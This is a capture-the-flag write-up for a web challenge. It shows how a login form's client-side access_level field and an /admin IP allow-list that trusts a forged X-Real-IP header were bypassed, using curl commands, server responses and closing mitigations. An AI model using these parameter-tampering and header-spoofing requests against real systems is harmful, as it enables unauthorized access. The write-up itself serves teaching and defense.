Writeup · SAF Pre-Qualifiers 2026

Head Office

webunknownsolvedFlag: safctf{REDACTED}

Overview

The challenge presents a simple login-style web app with a hidden /admin endpoint (“the listening room”) protected by two separate, independently bypassable checks:

  1. A client-side-only access level restriction on login.
  2. A server-side IP allow-list check on /admin that trusts a spoofable HTTP header instead of the real connecting IP.

The goal is to bypass both and read the flag on /admin.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

All requests go to $TARGET; no credentials or wordlists are required.

Recon

Step 1 — Request /admin directly

Goal: Confirm whether a real server-side access control exists on /admin.

curl "$TARGET/admin"
Access denied: Admins only....try harder!

Interpretation: A genuine server-side access control exists — /admin is not merely hidden behind a client-side UI restriction.

Enumeration

Step 2 — Inspect the login form

Goal: Determine how login and access level are submitted, and whether the server validates the submitted access_level.

Viewing the page source of $TARGET/ showed a login form that POSTs username and access_level. The UI dropdown only exposed "user" as a selectable option, but nothing on the server validated that the submitted access_level matched what the UI offered.

Interpretation: This is a classic client-side-only restriction — the browser hides the “admin” choice, but the backend never enforces it.

Step 3 — Bypass the access-level restriction

Goal: Confirm the server trusts client-supplied access_level by submitting admin directly.

curl -X POST "$TARGET/" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&access_level=admin"
<h2>Hello, admin</h2>
<p>Access level: admin</p>
<p><a href="/admin">Open the listening room</a></p>

Interpretation: The server happily grants “admin” access level — confirming the first protection is trivially bypassed via parameter tampering.

Vulnerability Analysis

The flaw class is Broken Access Control (CWE-284: Improper Access Control), combined with trust in a forgeable client header for IP-based authorization.

Exploitation

Step 4 — Attempt IP spoofing via common headers

Goal: Identify which IP header, if any, the /admin allow-list trusts.

curl "$TARGET/admin" -H "X-Forwarded-For: 127[.]0[.]0[.]1"
curl "$TARGET/admin" -H "X-Forwarded-For: localhost"
curl "$TARGET/admin" -H "X-Forwarded-For: 10[.]0[.]0[.]1"
curl "$TARGET/admin" -H "X-Forwarded-For: 0[.]0[.]0[.]0"
Access denied: Admins only....try harder!

Interpretation: All attempts failed — X-Forwarded-For is not the header being checked.

Step 5 — Try alternate IP headers

Goal: Test less-common headers that applications sometimes use for client IP.

curl "$TARGET/admin" -H "X-Real-IP: 127[.]0[.]0[.]1"
curl "$TARGET/admin" -H "X-Client-IP: 127[.]0[.]0[.]1"
curl "$TARGET/admin" -H "True-Client-IP: 127[.]0[.]0[.]1"
<h3>Welcome to the listening room!</h3>
<p>Flag: safctf{REDACTED}</p>

Interpretation: X-Real-IP is the trusted header. Spoofing it to 127[.]0[.]0[.]1 grants access to /admin and reveals the flag.

Flag

safctf{REDACTED}

Displayed on /admin after bypassing the access-level restriction (access_level=admin) and spoofing X-Real-IP: 127[.]0[.]0[.]1.

Lessons / Takeaways

  • Never trust client-supplied role or permission fields; derive access level from an authenticated, server-side session.
  • Never trust X-Forwarded-For, X-Real-IP, or similar headers for access control unless set by a trusted proxy with client-supplied values explicitly stripped at the edge.
  • For IP allow-listing, validate against the actual connecting socket IP (e.g. request.remote_addr), not a forgeable header.
  • When one bypass fails (X-Forwarded-For), systematically try alternate headers rather than assuming IP controls are airtight.

Mitigations

  • Derive access level from an authenticated, server-side session — never from client-supplied POST parameters.
  • Do not use X-Forwarded-For, X-Real-IP, or similar headers for access control unless they are set by a trusted proxy and any client-supplied value for that header is stripped/ignored at the edge.
  • If IP allow-listing is required, validate against the actual connecting socket IP rather than a header any client can forge.

Techniques

  • Broken Access Control
  • IP Spoofing
  • Parameter Tampering

References